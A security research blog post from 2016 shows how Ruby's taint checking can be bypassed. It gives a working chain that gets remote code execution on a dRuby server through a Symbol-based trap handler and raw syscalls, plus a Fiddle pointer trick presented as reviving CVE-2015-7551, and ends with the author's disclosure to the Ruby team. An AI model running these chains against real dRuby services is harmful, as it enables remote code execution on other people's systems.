Taint me if you can

December 23, 2016 - 5 minute read -
bugs

Within this post we’ll have a look at the tainting feature in Ruby and how it fails sometimes.

Tainting

Firstly let’s see what tainting is:

Taint checking is a feature in some computer programming languages, such as Perl and Ruby, designed to increase security by preventing malicious users from executing commands on a host computer. Source: Wikipedia

Basically if some data is tainted certain operations are not allowed with this data anymore.

Background

Quite a while ago I messed with dRuby. In summary dRuby allowed remote syscalls due to Ruby not caring about tainted strings being passed to syscalls. This issue got fixed eventually and the related exploit did not work anymore.

dRuby & tainting recap

dRuby allows to remotely (e.g. via TCP Sockets) call methods in Ruby code running elsewhere. Objects might be passed over the wire as well. Let’s jump right into a dRuby server (Cut and paste from the documetation):

require 'drb/drb'

# The URI for the server to connect to
URI="druby://localhost:8787"

class TimeServer

  def get_current_time
    return Time.now
  end

end

# The object that handles requests on the server
FRONT_OBJECT=TimeServer.new

$SAFE = 1   # disable eval() and friends

DRb.start_service(URI, FRONT_OBJECT)
# Wait for the drb server thread to finish before exiting.
DRb.thread.join

And the corresponding client code:

require 'drb/drb'
SERVER_URI="druby://localhost:8787"
DRb.start_service

timeserver = DRbObject.new_with_uri(SERVER_URI)
puts timeserver.get_current_time

Note the $SAFE = 1 within the server code. This is intended to disallow tainted Objects from being passed to “dangerous” methods:

$ export LOL=id
$ irb
irb(main):001:0> $SAFE=1
=> 1
irb(main):002:0> system(ENV["LOL"]) # ENV is subject to tainting when $SAFE is set
SecurityError: Insecure operation - system
        from (irb):2:in `system'
        from (irb):2
        from /usr/bin/irb:11:in `<main>'
irb(main):003:0> eval(ENV["LOL"])
SecurityError: Insecure operation - eval
        from (irb):3:in `eval'
        from (irb):3
        from /usr/bin/irb:11:in `<main>'
irb(main):004:0>

dRuby & tainting fails

Unfortunately not all Objects are taintable even tough they provide a taint method:

irb(main):001:0> "lol".methods.grep /taint/
=> [:taint, :tainted?, :untaint]
irb(main):002:0> a = "lol".taint
=> "lol"
irb(main):003:0> a.tainted?
=> true
irb(main):004:0> :sym.methods.grep /taint/
=> [:taint, :tainted?, :untaint]
irb(main):005:0> a = :sym.taint
=> :sym
irb(main):006:0> a.tainted?
=> false
irb(main):007:0>

Symbols and Fixnums for instance are not taintable at all and this fact is quite useful. Just consider the following example:

irb(main):001:0> $SAFE = 1
=> 1
irb(main):002:0> foo = "puts 'HUHU!'"
=> "puts 'HUHU!'"
irb(main):003:0> foo.taint
=> "puts 'HUHU!'"
irb(main):004:0> eval foo
SecurityError: Insecure operation - eval
        from (irb):4:in `eval'
        from (irb):4
        from /usr/bin/irb:11:in `<main>'
irb(main):005:0> foo = :"puts 'HUHU!'"
=> :"puts 'HUHU!'"
irb(main):006:0> foo.taint
=> :"puts 'HUHU!'"
irb(main):007:0> trap 23, foo
=> "SYSTEM_DEFAULT"

By this we just managed to install a signal handler which will evaluate a Symbol like a string.

In order to reanimate the dRuby issue the following chain can be used:

p = DRbObject.new_with_uri(serveruri)
class << p
  undef :send
end
# Install signal handler
p.send(:trap,23,:"define_method :huhu do |code|\nc=code.untaint\neval(c)\nend")
# syscall getpid
pid = p.send(:syscall,39)
# syscall kill
p.send(:syscall,62,pid,23)
# Call the method
p.send(:huhu,"your ruby payload")

In the above case the syscalls for getpid and kill just rely on Fixnums which also cannot be tainted.

More on tainting (CVE-2015-7551 reanimated)

CVE-2015-7551 was about “Unsafe tainted string usage in Fiddle and DL”.

Consider the following example in a version of Ruby which is not vulnerable to CVE-2015-7551:

require 'fiddle'
libc = Fiddle.dlopen('/lib/libc.so.6')

system = Fiddle::Function.new(
  libc['system'],
  [Fiddle::TYPE_VOIDP],
  Fiddle::TYPE_INT
)

$SAFE = 1
a = "echo HUHU".taint
system.call(a)

Running this script results in:

$ ruby fiddle.rb
fiddle.rb:12:in `call': tainted parameter not allowed (SecurityError)
        from fiddle.rb:12:in `<main>'
$ ruby fiddle.rb
fiddle.rb:12:in `call': tainted parameter not allowed (SecurityError)
        from fiddle.rb:12:in `<main>'

By having in mind that Fixnums are not taintable we can come up with a rather nifty bypass:

require 'fiddle'
libc = Fiddle.dlopen('/lib/libc.so.6')

system = Fiddle::Function.new(
  libc['system'],
  [Fiddle::TYPE_VOIDP],
  Fiddle::TYPE_INT
)

$SAFE = 1
a = "echo HUHU".taint
p = ((a.object_id )<<1) +16
puts "String is at #{p.to_s 16}"
system.call(p)

Now you might wonder about p = ((a.object_id )<<1) +16 . The neat feature of MRI Ruby (a.k.a. cRuby) is the fact that the object_id method might be used to calculate the memory location of a given Object. So ((a.object_id )<<1) yields the memory location of the String Object a and sixteen bytes further we can find the actual string:

$ ruby fiddle2.rb
String is at 28c0a90
HUHU

As p is a Fixnum, it bypasses the taint checks within Fiddle and is interpreted as a pointer to a string.

A note on the disclosure

I’ve mailed the above details about dRuby to security@ruby-lang.org. And Matz himself replied with the following:

Thank you for the report. We consider tainting is for fool proof, not for security, thus bugs nor misfeatures in tainting are not considered security issues. Since it easily leads to misunderstanding (along with other issues e.g. JRuby does not support tainting), CRuby is dropping support for tainting.

I’ll just leave this statement here as it is.